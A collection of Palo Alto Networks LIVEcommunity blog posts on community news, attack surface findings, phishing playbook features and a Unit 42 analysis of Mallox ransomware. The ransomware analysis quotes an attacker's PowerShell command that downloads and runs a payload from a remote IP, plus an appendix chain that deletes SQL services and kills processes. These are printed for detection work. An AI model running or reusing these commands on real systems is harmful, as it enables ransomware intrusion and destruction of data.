  Welcome to our August 2023 Rewind, where we review some of LIVEcommunity’s biggest headlines from the past month!   In August, we shared how to use LIVEcommunity's Subscription Feature, introduced our 2023-24 Cyber Elite experts and more! Read on to see community's August 2023 highlights.  GlobalProtect 5.1 EoL and 5.2 EoE Communication NGFW and Prisma Access Customers running GlobalProtect 5.1.X are requested to consider upgrading GlobalProtect to 6.0.X and above. EoL dates for GlobalProtect 5.1 are published here: GlobalProtect App 5.1 End-of-Life. Read more to learn about which platforms are affected.   Cortex XSOAR - Threat Intelligence Management and Prioritized Intelligence Requirement  Threat Intelligence has become inevitable in today’s Cyber Security Landscape and the intelligence data we collect can be enormous. The art of collecting and disseminating actionable intelligence is key in any Threat intelligence Management. In addition to that, it should be precise and tailored when we start automating using SOAR platforms like Cortex XSOAR.   POTW: Using CVEs in Incident Investigation We have significantly revamped the way CVEs are displayed and stored as indicators within Cortex XSOAR Threat Intelligence Management (TIM). Our main goal was to store and make available as much data as possible to help you query and use CVEs whether in your incident investigations or as a tool aiding in vulnerability management in your system. In this blog, we will go over the changes made in XSOAR TIM and modifications to the CVE indicator layout to present data in a more intuitive way. We will also cover how to install these changes to your TIM module.   NodeStealer 2.0 – The Python Version: Stealing Facebook Business Accounts Unit 42 researchers have recently discovered a previously unreported phishing campaign that distributed an infostealer equipped to fully take over Facebook business accounts. Facebook business accounts were targeted with a phishing lure offering tools such as spreadsheet templates for business. This is part of a growing trend of threat actors targeting Facebook business accounts – for advertising fraud and other purposes –  which emerged around July 2022 with the discovery of the Ducktail infostealer.   LIVEcommunity Member Testimonial: John Linkowsky John Linkowsky is a Board Member for the Palo Alto Networks Fuel User Group and has been using the LIVEcommunity for a number of years. He sees the LIVEcommunity as a platform that allows users from around the world to search for content written by support engineers, partners, and customers who he describes as subject-matter experts. LIVEcommunity is beneficial, according to John, because of the diversity of perspectives and experiences represented and the wealth of information that it delivers to users. John uses the LIVEcommunity to post questions and also relies on it as an alternative to support.   How to Use LIVEcommunity's Subscription Feature Did you know that you can subscribe to areas on the LIVEcommunity to stay up to date on new information? Subscribing to an area is an easy way to stay up-to-date on the happenings in that area in LIVEcommunity.  If a page or area is of interest to you, you can subscribe to them to receive notifications—by email or in the community or both—when a new blog or article is posted to the area or a comment or reply is made.   New Features Introduced in Prisma Access 4.1 In case you missed it, Prisma Access 4.1 just hit the scene, and it's loaded with some seriously awesome upgrades! Read more to learn some of the key feature of this release.   Prisma Access Advanced Deployment Professional Services Professional Services for Prisma Access continues to expand adoption capabilities in Advanced Deployment Professional Services (ADPS) and Deployment Services.    Whether you have a small enterprise or a large global enterprise to manage, Prisma Access Advanced Deployment Professional Services (ADPS) offers Prisma Access core deployment and flexible feature options designed for your specific environment. These Professional Services allow you to take deployment and integration to the next level by choosing the right capabilities.   Join Us in Welcoming Our 2023-24 Cyber Elite Experts!  LIVEcommunity is pleased to announce the 2023-24 Cyber Elite Program!    Palo Alto Networks launched the LIVEcommunity Cyber Elite program in summer 2020 as a way to recognize members from around the globe who demonstrate excellence in their participation and contributions to the community. The result is a small but robust team of super-users who are eager to help, supply solutions, and troubleshoot with their fellow cybersecurity professionals looking for answers in LIVEcommunity.   New PANCast Episodes Are Out! PANCast is a Palo Alto Networks podcast that provides actionable insights from cybersecurity experts to customers, helping them ensure each day is more secure than the one before it.   Visit our PANCast homepage to learn more and watch our previous podcasts in this series.   PANCast Episode 23: Panorama templates and template stacks     PANCast Episode 24: Broker VM Capabilities     August ‘23 Discussion Highlight: Posts With Accepted Solutions Nominated Discussions help LIVEcommunity Solutions Engineers highlight a discussion that has an Accepted Solution, and turn it into an article with additional helpful information, documentation, and clarity! Here are the Nominated Discussions we published this past month:   Nominated Discussion: Can't Download Panorama For ESX OVA Nominated Discussion: External DHCP Server Configuration Nominated Discussion: Palo Alto Cluster Questions ... View more

  This post is also available in: 日本語 (Japanese)   Introduction   It’s challenging to ensure proper protection for your organization in an ever-changing, vulnerable environment. In our survey of over 250 organizations, we found that 80% of security exposures are found in cloud environments and 20% of cloud services change every month. Trying to get a handle on this sort of volatility is not easy, but it is vitally important.   Our 2023 Unit 42 Attack Surface Threat Report explores the global attack surface landscape based on observable data on exposures that are publicly accessible over the internet. It also offers recommendations on how organizations should approach active attack surface management.     Key Findings From the 2023 Unit 42 Attack Surface Threat Report   Constant Change in the Cloud Creates New Risk Unit 42 studied the composition of new and existing services running in different cloud providers used by organizations over a period of six months. Cloud-based IT infrastructure is always in a state of flux. On average, over 20% of externally accessible cloud services change monthly across the 250 organizations. Figure 1 shows how this breaks down across different industries.     Figure 1. Median proportion of changed services introduced by a typical company in a certain industry during a given month.   Consequently, Unit 42 investigated the impact on the number of new security risks introduced within an organization, which is illustrated in Figure 2. Over 45% of most organizations’ high-risk, cloud-hosted exposures in a given month were observed on new services that hadn’t been present on their organization's attack surface in the month prior. Thus, the creation of new, publicly accessible cloud services (both intended and unauthorized) is a risk factor related to nearly half of all high-criticality exposures at a given time.   Figure 2. Median proportion of high-risk cloud-hosted exposures observed on a typical company’s attack surface in each industry during a given month. Cloud Exposures Dominate Most Organizations’ Security Risks   According to our analysis, 80% of security exposures were observed in cloud environments, as shown in Figure 3 below. This higher distribution of exposures in the cloud can be attributed to the following causes:   Frequent misconfigurations Shared responsibilities Shadow IT Inherent connection to the internet Lack of visibility into cloud assets Figure 3. Proportion of cloud vs. on-premises security exposures. Three Causes Account for 60% of All Exposure on the Global Attack Surface   Figure 4 shows that across the more than 250 organizations we analyzed, web framework takeover exposures like insecure versions of Apache web servers, insecure versions of PHP and insecure versions of jQuery account for over 22% of the exposures. Poorly configured remote access services like Remote Desktop Protocol (RDP), Secure Shell (SSH), or virtual network computing (VNC) make up 20% of the exposures.   Figure 4. Exposures of the global attack surface. Unit 42 also observed that IT security and networking infrastructure exposures make up nearly 17% of all the exposures of the global attack surface. The exposures in this category consisted of internet-accessible administrative login pages of the following assets:   Routers Firewalls Virtual private networks (VPNs) Other core networking and security appliances   Compromise of these assets can have substantial consequences for organizations, including the compromise of core business functions and applications, and the data they contain.   Recommendations to Actively Manage Your Attack Surface   Most organizations are unprepared for an attack through an unknown or unmanaged exposure. We found eight of the nine organizations we studied had internet-accessible RDP vulnerable to brute-force attacks for at least 25% of the month.   To protect against these types of attack surface vulnerabilities, organizations should:   Achieve continuous visibility Maintain a comprehensive, real-time understanding of all internet-accessible assets, including cloud-based systems and services. This helps to actively discover, learn and respond to risks more quickly. Address cloud misconfigurations Regularly review and update cloud configurations, aligning with best practices to mitigate security risks. Foster collaboration between security and DevOps teams to secure cloud-native application development and deployment. Prioritize remediation Focus on addressing the most critical vulnerabilities and exposures, such as those with a high Common Vulnerability Scoring System (CVSS) score – which accounts for severity – and an Exploit Prediction Scoring System (EPSS) score – which accounts for likelihood – to reduce the chance of successful cyberattacks.   Organizations should consider an attack surface management program to continuously discover, prioritize and remediate exposures on their attack surface. This ensures that opportunistic attackers cannot exploit any unknown or unmanaged asset.   How Palo Alto Networks Can Help   Get the full 2023 Unit 42 Attack Surface Threat Report for more global attack surface insights, trends and recommendations for best practices.   If attack surface management is new to your organization, or you’d like help with improving your program, Cortex Xpanse and Unit 42 Attack Surface Assessment can jump-start your journey. This assessment service gives you better visibility into your on-premises and cloud-based internet-connected assets and recommendations on prioritized actions to help you defend your organization.   Additional Resources Cortex Xpanse Datasheet — Palo Alto Networks CISO’s Guide to Attack Surface Management — Palo Alto Networks 2022 Attack Surface Threat Report — Palo Alto Networks Video: Top Attack Surface Use Case — Palo Alto Networks ... View more

Welcome to our Member Testimonial video series, where we invite members to share why LIVEcommunity is their trusted resource for building skills, sharing ideas, troubleshooting issues, and finding solutions!   Charles Buege (@cwbuege) is the Fuel User Group Chicago Chapter Leader. In his LIVEcommunity interview video, Charles spoke about the benefits of being involved with the Fuel User Group and the Palo Alto Networks LIVEcommunity. Through the Fuel User Group, Buege has grown professionally, building relationships with colleagues and contacts around the world, while accessing resources and information that would not be available otherwise.   Charles relies on the LIVEcommunity to find answers to questions or issues that he encounters with his Palo Alto Networks firewall deployment. Answers, he says, are served up on a “golden platter.” He explains that the LIVEcommunity is a reactive network of professionals who are available to assist Palo Alto Networks users with questions and problems. He also states how he uses the LIVEcommunity and the types of content he finds helpful on it. He points out that the LIVEcommunity is a great resource for users who have problems with their Palo Alto Networks deployments, need configuration ideas, or need help trouble-shooting problems.    "The LIVEcommunity is a great resource for users who have problems with their Palo Alto Networks deployments, need configuration ideas, or need help trouble-shooting problems. .” shared Charles in his interview.   Learn how Charles leverages LIVEcommunity to answer questions, solve problems, and be more productive at work in this Member Testimonial video:   ... View more

This was blog written by Lior Rochberger and Shimi Cohen   This post is also available in: 日本語 (Japanese).   Executive Summary Mallox (aka TargetCompany, FARGO and Tohnichi) is a ransomware strain that targets Microsoft (MS) Windows systems. It has been active since June 2021, and is notable for exploiting unsecured MS-SQL servers as a penetration vector to compromise victims' networks.   Recently, Unit 42 researchers have observed an uptick of Mallox ransomware activities – with an increase of almost 174% compared to the previous year – exploiting MS-SQL servers to distribute the ransomware. Unit 42 incident responders have observed Mallox ransomware using brute forcing, data exfiltration and tools such as network scanners. In addition, we have found indications that the group is working on expanding their operations and recruiting affiliates on hacking forums.     Palo Alto Networks customers receive protections from Mallox ransomware and the techniques discussed in this blog through Cortex XDR, which provides a multilayer defense that includes behavioral threat protection and exploit protection.   Click here to see a video showing Cortex preventing the execution of the Mallox ransomware.   The Advanced WildFire cloud-delivered malware analysis service accurately identifies samples related to Mallox as malicious. Cloud-Delivered Security Services, including Advanced URL Filtering and DNS Security identify domains associated with this group as malicious.   If you believe you have been compromised, the Unit 42 Incident Response team can provide a personalized response.   Related Unit 42 Topics Ransomware   Overview of Mallox Ransomware Mallox ransomware, like many other ransomware threat actors, follows the double extortion trend: stealing data before encrypting an organization’s files, and then threatening to publish the stolen data on a leak site as leverage to convince victims to pay the ransom fee.   Figure 1 below displays the Mallox ransomware website on the Tor browser. Though the organizations’ names and logos have been redacted, this is how the group displays the leaked data of its targets.   Figure 1. Mallox website on Tor browser.   Each victim is given a private key to interact with the group and negotiate terms and payment. Figure 2 below presents the chat used for communicating with the group.   Figure 2. Mallox private chat Tor website.   The Mallox ransomware group claims hundreds of victims. While the actual number of victims remains unknown, our telemetry indicates dozens of potential victims worldwide, across multiple industries, including manufacturing, professional and legal services, and wholesale and retail.   Since the beginning of 2023, there has been a constant uptick in Mallox activities. According to our telemetry and data collected from open threat intel sources, in 2023, there has been an increase of approximately 174% in Mallox attacks compared to the latter half of 2022 (see Figure 3).   Figure 3. Mallox attack attempts from the second half of 2022 to the first half of 2023, based on Palo Alto Networks' telemetry.   Initial Access Since its emergence in 2021, the Mallox group has kept the same approach to gaining initial access: The group targets unsecured MS-SQL servers to infiltrate a network. These attacks start with a dictionary brute force attack, trying a list of known or commonly used passwords against the MS-SQL servers. After gaining access, the attackers use a command line and PowerShell to download the Mallox ransomware payload from a remote server (see Figure 4).   Figure 4. Example of an alert raised in response to a Mallox ransomware dictionary brute force attack, as raised by Cortex XDR and XSIAM. A command line example used for a Mallox ransomware infection:   1 "\"C:\\Windows\\\\System32\\\\cmd.exe\" /C echo $cl = New-Object System.Net.WebClient > C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(\"hxxp://80.66.75[.]36/aRX.exe\", \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\") >> %TEMP%\\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\updt.ps1 & WMIC process call create \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\""   This command line does the following:   Downloads the ransomware payload from: hxxp://80.66.75[.]36/aRX.exe, and saves it as tzt.exe Runs a PowerShell script named updt.ps1   The payload then goes on to do the following (not pictured in the command line script shown above):   Downloads another file named system.bat, and saves it as tzt.bat The tzt.bat file is used to create a user named SystemHelp and enable the remote desktop (RDP) protocol Executes the ransomware payload tzt.exe using Windows Management Instrumentation (WMI)   Figure 5 below shows how Cortex XDR and XSIAM detect one of the first phases of the SQL server exploitation, as described above. Figure 5. SQL server exploitation process tree, as shown by Cortex XDR and XSIAM (set to detect-only mode for testing purposes). Ransomware Execution Before any encryption takes place, the ransomware payload attempts multiple actions to ensure successful execution of the ransomware, such as:   Attempts to stop and remove SQL-related services using sc.exe and net.exe (see the Appendix for the full command line). This way, the ransomware can access and encrypt the victim’s file data. Attempts to delete volume shadows, making it harder to restore files once they are encrypted. See Figure 6 for how this alert appears in Cortex XDR and XSIAM.   Figure 6. Alert for deleting shadow copies, raised by Cortex XDR and XSIAM. Attempts to clear the application, security, setup and system event logs using Microsoft’s wevtutil command line utility to thwart detection and forensic analysis efforts. Modifies file permission using the Windows built-in takeown.exe command, denying access to cmd.exe and other key system processes. Prevents the system administrator from manually loading the System Image Recovery feature using bcdedit.exe. Attempts to terminate security-related processes and services using taskkill.exe to evade security solutions. Attempts to bypass the Raccine anti-ransomware product, if present, by deleting its registry key. See Figure 7 for an example of this process. Figure 7. Deleting the Raccine registry key.   In Figure 8, some of these mentioned activities are shown in the process tree of the ransomware:   Figure 8. A full process tree of the attack, as shown by Cortex XDR and XSIAM (set to detect-only mode for testing purposes). This investigated sample of Mallox ransomware encrypts files using the ChaCha20 encryption algorithm and appends the .malox extension for the encrypted files. Other file extensions observed were: .FARGO3, .exploit, .avast, .bitenc and .xollam, in addition to the use of victims’ names as the extension. See Figure 9 for an example of encrypted files in Cortex XDR.   Figure 9. Examples of files encrypted by Mallox ransomware, as detected by Cortex XDR (set to detect-only mode). Mallox leaves a ransom note in every directory on the victim’s drive. This ransom note explains the infection and provides contact information. Figure 10 is an example of one of these ransom notes.     Figure 10. Example of Mallox ransom note.   After execution, the malware deletes itself.   Growing Potential According to one of its members – as stated in an interview in January 2023 – Mallox is a relatively small and closed group. However, the group appears to be working to expand its operations by recruiting affiliates.   A few days after this interview, a user named Mallx posted on the hacking forum RAMP that the Mallox ransomware group was recruiting affiliates for a new Mallox ransomware-as-a-service (RaaS) affiliate program, as shown in Figure 11. Figure 11. User Mallx's post on RAMP. Back in May 2022, a user named RansomR posted on the well-known hacking forum nulled[.]to that the Mallox group was looking for affiliates to join the team. As of June 2023, the option to join is still relevant, according to the comments in the thread. Figure 12. RansomR's post on Nulled. If recruitment efforts for their affiliate program succeed, the Mallox group might expand its reach to target more organizations.   Conclusion The Mallox ransomware group has been more active in the past few months, and their recent recruiting efforts may enable them to attack more organizations if the recruitment drive is successful.   Organizations should implement security best practices and be prepared to defend against the ongoing threat of ransomware. This is true not only for Mallox ransomware but for other opportunistic criminal groups as well.   The Unit 42 team recommends making sure that all internet-facing applications are configured properly and all systems are patched and up to date wherever possible. These measures will help to reduce the attack surface, thereby limiting the exploitation techniques available to attackers.   Deploy an XDR/EDR solution to perform in-memory inspection and detect process injection techniques. Perform threat hunting, looking for signs of unusual behavior related to security product defense evasion, service accounts for lateral movement and domain administrator-related user behavior.   Protections and Mitigations Palo Alto Networks Cortex XDR detects and prevents file manipulation and other activities performed by Mallox ransomware.   Figure 13. End user notification for blocking the Mallox execution. Figure 14. Alert for suspicious file modification, raised by the Cortex XDR and XSIAM (set to detect-only mode for testing purposes). SmartScore, A unique ML-driven scoring engine that translates security investigation methods and their associated data into a hybrid scoring system, scored an incident involving Mallox ransomware at 100, which is its highest level of severity (Figure 15). This type of scoring helps analysts determine which incidents are more urgent and provides context about the reason for the assessment, assisting with prioritization. Figure 15. SmartScore information about a Mallox ransomware incident. For Palo Alto Networks customers, our products and services provide the following coverage against Mallox ransomware:   WildFire cloud-based threat analysis service identifies the known samples as malicious. Advanced URL Filtering and DNS Security identify domains associated with this group as malicious. Cortex XDR detects user and credential-based threats by analyzing user activity from multiple data sources, including endpoints, network firewalls, Active Directory, identity and access management solutions, and cloud workloads. Cortex XDR also builds behavioral profiles of user activity with machine learning. By comparing new activity to past activity, peer activity and the expected behavior, Cortex XDR detects anomalous activity indicative of credential-based attacks. Cortex XDR also offers the following protections related to the attacks discussed in this post: Prevents the execution of known malicious malware, and prevents the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module. Protects against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4. Protects from threat actors dropping and executing commands from webshells using Anti Webshell Protection as of Cortex XDR 3.4. Protects against exploitation of different vulnerabilities, including ProxyShell, ProxyLogon and OWASSRF, using the Anti-Exploitation modules as well as Behavioral Threat Protection. Cortex XDR Pro detects post-exploit activity, including credential-based attacks, with Cortex Analytics.   If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200   Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.   Appendix Command line Used by Mallox To Stop and Remove SQL-Related Services "C:\Windows\System32\cmd.exe" / C sc delete "MSSQLFDLauncher" && sc delete "MSSQLSERVER" && sc delete "SQLSERVERAGENT" && sc delete "SQLBrowser" && sc delete "SQLTELEMETRY" && sc delete "MsDtsServer130" && sc delete "SSISTELEMETRY130" && sc delete "SQLWriter" && sc delete "MSSQL$VEEAMSQL2012" && sc delete "SQLAgent$VEEAMSQL2012" && sc delete "MSSQL" && sc delete "SQLAgent" && sc delete "MSSQLServerADHelper100" && sc delete "MSSQLServerOLAPService" && sc delete "MsDtsServer100" && sc delete "ReportServer" && sc delete "SQLTELEMETRY$HL" && sc delete "TMBMServer" && sc delete "MSSQL$PROGID" && sc delete "MSSQL$WOLTERSKLUWER" && sc delete "SQLAgent$PROGID" && sc delete "SQLAgent$WOLTERSKLUWER" && sc delete "MSSQLFDLauncher$OPTIMA" && sc delete "MSSQL$OPTIMA" && sc delete "SQLAgent$OPTIMA" && sc delete "ReportServer$OPTIMA" && sc delete "msftesql$SQLEXPRESS" && sc delete "postgresql-x64-9.4" && rem Kill "SQL" && taskkill - f - im sqlbrowser.exe && taskkill - f - im sqlwriter.exe && taskkill - f - im sqlservr.exe && taskkill - f - im msmdsrv.exe && taskkill - f - im MsDtsSrvr.exe && taskkill - f - im sqlceip.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im Ssms.exe && taskkill - f - im SQLAGENT.EXE && taskkill - f - im fdhost.exe && taskkill - f - im fdlauncher.exe && taskkill - f - im sqlservr.exe && taskkill - f - im ReportingServicesService.exe && taskkill - f - im msftesql.exe && taskkill - f - im pg_ctl.exe && taskkill - f - im postgres.exe   Indicators of Compromise SHA256 hashes for Mallox ransomware samples: 6c743c890151d0719150246382b5e0158e8abc4a29dd4b2f049ce7d313b1a330 b03f94c61528c9f3731a2e8da4975c072c9ed4e5372d3ec6b0939eebe01e54a4 de9d3e17555e91072919dc700dc7e588cd52617debcad2f764ef9c7fbf6c9f7b 2a549489e2455a2d84295604e29c727dd20d65f5a874209840ce187c35d9a439 1c8b6d5b79d7d909b7ee22cccf8f71c1bd8182eedfb9960c94776620e4543d13 36269d1892283991a9db23492cd8efcd68af74060384b9686219a97f76a9989e 10eea0c13fd1a782c065627e23e7051edc1622f2eae5fbe138725369c12f4b6d Df30d74ab6600c1532a14c53a7f08f1afd41ec63cf427a4b91b99c3c2524caba 0463277782f9e98b0e7a028cea0f689a81cf080fa0d64d4de8ef4803bb1bf03a 1f793f973fd906f9736aa483c613b82d5d2d7b0e270c5c903704f9665d9e1185 e284ad63a832123240bd40b6c09565fae8525c00ddf308d5b8f5c8ce69ed6b09 e3a0bbd623db2b865fc3520c8d05e8b92016af2e535f0808460295cb8435836a 7c84eafb3b05f0d5316fae610d9404c54ef39383d0fe0e3c07407a26bb9f6750 1276786fc51f3b7e987aa95ebff0a3e1e358ee4e86e2302e472f84710271af7b f730e83049c7fe81f6e4765ab91efbb7a373751d51fdafe697a4977dc7c1ea11 05194b34f8ff89facdd7b56d05826b08edaec9c6e444bdc32913e02cab01afd4 c599bebc9ae54a54710008042361293d71475e5fbe8f0cbaceb6ee4565a72015 060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096 90be90ad4fb906574f9e7afe587f0826a71152bfc32cfc665a58877562f2edd4 1b2727af9fc187cd5c932c6defe50b983ad7508b4196ad6c5ff5e96686277c56 a9543bc9612276863fc77b663fa3ff6efb85db69a01baa86c6dfabf73684b5c1 4e00f3e0e09d13e76da56009173098eefafc4ad50806583d5333990fa44e6420 6c109d098a1f44017f3937a71628d9dbd4d2ca8aa266656ee4720c37cc31558e 7f8f1afa1390246409263e606aa05e2896b8d1da7018c534e67ca530a59ebda1 8e54c38bc3585c3163c3e25d037bcf55695c274aaea770f2f59f0a0910a4b572 724aa6dae72829e9812b753d188190e16fb64ac6cd39520897d917cfdccc5122 7164ba41639c8edcd9ff1cf41a806c9a23de566b56a7f34a0205ba1f84575a48 0e1c7ea4148e7473e15a8e55413d6972eec6e24ef365e9f629884f89645de71a 4ed74a205fad15c843174d7d8b30ae60a181e79f31cc30ebc683072f187e4cdd ee6fd436bf5aff181e3d4b9a944bf644076e902a1bbf622978b5e005522c1f77 ebdcf54719cceddffc3c254b0bfb1a2b2c8a136fa207293dbba8110f066d9c51 9a3050007e1c46e226e7c2c27d4703f63962803863290449193a0d0ca9661b3b d6c51935d0597b44f45f1b36d65d3b01b6401593f95cb4c2786034072ad89b63 586d4f86615cb3a8709ae1c08dde35087580814c1d1315af3d7b932639ff48e0 8e974a3be94b7748f7971f278160a74d738d5cab2c3088b1492cfbbd05e83e22 3fa36079fdc548db1b5122450c2e4c9e40c37059de116d1c03f6459b13fc2dc4 D15f12a7cf2e8ec3d6fceabfab64956c7e727caab91cff9c664f92b5c8552570 0427a9f68d2385f7d5ba9e9c8e5c7f1b6e829868ef0a8bc89b2f6dae2f2020c4 4cbac922af3cfaba5fa7a3251bd05337bffd9ed0ada77c55bb4f78a041f4ebf2 10f96f64659415e46c3f2f823bdb855aab42d0bfced811c9a3b72aea5f22d880 5ccff9af23c18998221f45396732539d18e330454327d1e7450095c682d8c552 77fdce66e7f909300e4493cbe7055254f7992ba65f9b7445a6755d0dbd9f80a5 ee08e3366c04574f25909494ef276e65e98d54f226c0f8e51922247ca3cfade9 2fd3c8fab2cfaaabf53d6c50e515dd5d1ef6eceeebdd5509c23030c4d54cb014 603846d113ef1f588d9a3a695917191791fbad441f742bcfe797813f9fc5291e a5085e571857ec54cf9625050dfc29a195dad4d52bea9b69d3f22e33ed636525 9b833d5b4bdbc516e4773c489ced531b13028094ce610e96ebc30d3335458a97 b9e895830878124e20293f477549329d4d8752ff118f4fe893d81b3a30852c0b cd80506f971b95b3b831cef91bb2ec422b1a27301f26d5deac8e19f163f0839a c0e35b19f97021416e3724006511afc95d6aa409404e812d8c62b955bc917d3c 342930d44aed72f826a3f0f4a3964158f2bd86fb53703fb3daa6c937b28a53e4 9ee35c6eb97230cd9b61ba32dba7befea4122f89b3747d2389970050a1d019f9 e7e00e0f817fcb305f82aec2e60045fcdb1b334b2621c09133b6b81284002009 e3f63ab8ef91e0c52384c0e3e350db2427c8cb9237355800a3443b341cf8cf4f f7e8a0eac54dd040e2609546fca263f2c2753802ff57e7c62d5e9ccfa04bdb1a e7178a4bad4407316b85894307df32fdf85b597455364eb8ec4d407749e852ce SHA256 hashes for PowerShell scripts Updt.ps1 and Upddt.ps1 dcc9e23fd6ac926eb9ee7e0ee422dacd2059b4a42c8642d32bdf4f5c8eb33f6a fead3d518752ddb4d2407f16ca5f3c9b3c0bf01972a2618369d02913f7c6af1a 0901a9920c9f0c74fb2170524477693d62c8493715520ae95143abd8055e7a39 ba97fd533e8a552664695434227b24ca1e2e661c360a7a0a40ff59ba6b8fe949 53da732df7599f5ad21a26b669500788a827f3a8358dcdca10997d2b8187c95c 189c9c4603defb14fa8c942f5ff7814804654269917640478686530f91c4b66c fd0030883b9e74b383ee6381a2aaa7e2e5b93a00003b555e2f7c8b7be65ab176 d22b3218c4b7f13fe114854d1dbda02c3ad94a1b6c69daa1cf6a504ada8b8bca b6447b0636085fcb41fd574e84500958f21dfe87fe06b0813fb9399d63f28851 5c34f6fa6eada3197404bf95eced9d288688537598629158a4f4e18d6882cb9b d81b0425d4ec49bad194b8dc750524c2a29994fe972e733376349f47961cfa62 System.bat 1e2515efb64200258752d785863fd35df6039441a80cb615dfff4fbdffb484ec 777a5782426e5b42e0e5e8445dd9602d123e8acc27aca4daa8e9c053f3d5b899 9e3684be0b4c2dc93f962c03275e050fed57d9be6411396f51bdf8d4bb5e21c0 cb47327c7cce30cff8962c48fa3b51e57e331e1592ea78b21589164c5396ccd9 IP addresses related to Mallox ransomware activity 103.96.72[.]140 80.66.75[.]36 80.66.75[.]37 80.66.75[.]126 80.66.75[.]116 92.118.148[.]227 62.122.184[.]113 87.251.64[.]245 119.3.125[.]197 49.235.255[.]219 80.66.75[.]55 87.251.67[.]92 121.4.69[.]26 124.223.11[.]169 45.93.201[.]74 80.66.75[.]135 194.26.135[.]44 80.66.75[.]51 89.117.55[.]149 5.181.86[.]241 185.170.144[.]153   Additional Resources Ransomware Spotlight: TargetCompany – Trend Micro Xollam, the Latest Face of TargetCompany – Trend Micro Mallox Ransomware – K7 Security Labs, Blog FARGO Ransomware (Mallox) Being Distributed to Unsecured MS-SQL Servers – ASEC Blog, AhnLab Interview With Mallox Ransomware Group – SuspectFile ... View more

This blog written by Arik Day.   Introduction Phishing emails are one of the most frequent, easily executable, and harmful security attacks that organizations, regardless of size, face today. High-volume, persistent phishing alerts are a time sink for the security team, with incident response requiring coordination between multiple security products and communications with end users. Phishing is involved in almost 40% of security incidents, according to the 2022 Unit 42 Incident Response Threat Report.   “Attackers are looking for easy ways in. Phishing is a low-cost method with high results for attackers.”   Phishing Content Pack - New 2023 Features The Phishing content pack is the main pack for all phishing purposes. If you need to respond to phishing incidents based on user reports, this is the content pack for you. With this content pack, you can significantly reduce the time your security analysts spend on phishing alerts and standardize the way you manage phishing incidents.   We’ve added new features to our most popular Cortex Marketplace content pack to help you better respond to phishing campaigns in 2023.   Phishing - Generic v3 Playbook   Semi-Automated Remediation When detecting phishing attempts, immediate action is essential to mitigate potential harm. By blocking indicators associated with the phishing attempt, we limit the attackers' ability to execute their malicious operations successfully and prevent further spread of the phishing campaign.   However, automatically blocking indicators runs the risk of inadvertently blocking legitimate indicators, thereby potentially disrupting the organization's regular activities and workflow.   By setting the “AutoBlockIndicators” playbook input to “false” (the default value) and using the enhanced version of the Block Indicators - Generic v3 playbook available in the Cortex Marketplace, the analyst can choose the indicators that will be blocked automatically. Once the phishing incident is classified as malicious, the playbook will stop at a data collection task that asks the analyst to select the indicators to block.   Fig 1: Block Indicators Data Collection Task   Fig 2: The analyst can multi-select indicators to block   Threat Intelligence Analysis Cybersecurity threat intelligence provides valuable insights into the latest and emerging threats, attack techniques, and malicious actors. By staying informed about evolving cyberthreats, investigators can better comprehend the tactics, techniques, and procedures used by attackers, enabling them to respond more effectively to incidents.   The "TIM - Indicator Relationships Analysis'' playbook aims to identify connections between indicators of compromise (IOCs) and reported campaigns sourced from feeds linked to Cortex XSOAR Threat Intelligence Management (TIM). When phishing incident-related IOCs are associated with a particular campaign, this information will be presented in the phishing incident layout within the "Investigation" tab of the incident.   Fig 3: Threat Intelligence analysis section   Fig 4: Results will be displayed in the layout   Spear Phishing - Keywords Analysis Phishing attacks have become increasingly sophisticated, with cybercriminals customizing their tactics to target specific organizations. This tailored approach, known as spear phishing, poses a significant threat to businesses and individuals alike. According to the Recent Trends in Internet Threats report by Unit 42, we observed an increase in phishing attacks disguising themselves as online document and storage platforms in Q3 and Q4 2022, up from 27.8% to over 38.1% in Q2. During the same time period, fake online shopping and marketplace sites became more popular as sources of phishing campaigns.   Using the “Spear Phishing Investigation” sub-playbook, analysts can select a list of keywords associated with the organization, like names of stakeholders or systems and applications that are being used, and detect whether they exist in the phishing mail content.   The keywords can be provided via the playbook input “KeyWordsToSearch” as a comma-separated list or as XSOAR list object.   Fig 5: KeyWords analysis input   When a keyword is found in the email body, it will be displayed in the layout “Investigation” tab in a tag field, under the “Spear Phishing Investigation” section.   Since it's a tag type field, the analyst can search and filter incidents and identify phishing mails containing the same keywords.   Fig 6: Phishing Email Example   Fig 7: Keywords found in the phishing mail   Fig 8: Search Incidents by keywords   Determine phishing mail sender verdict as malicious Once a phishing incident verdict is determined as malicious, the email sender address verdict will be set as malicious as well.   When the Cortex XSOAR TIM module classifies the sender's email address in a phishing email as malicious, it triggers the marking of that email address as malicious in any subsequent phishing incidents linked to it. This ensures that analysts and playbooks will consider this classification when making their final determination about the incident verdict.   Fig 9: Setting the phishing mail sender address as malicious     Fig 10: Phishing mail sender address verdict set as malicious   Conclusion These enhancements to our Cortex phishing playbooks represent a significant leap forward in the battle against phishing attempts. With powerful automation, intelligent analysis, and a seamless integration into threat intelligence data, security teams can now bolster their defenses and respond with unparalleled speed and accuracy.   ... View more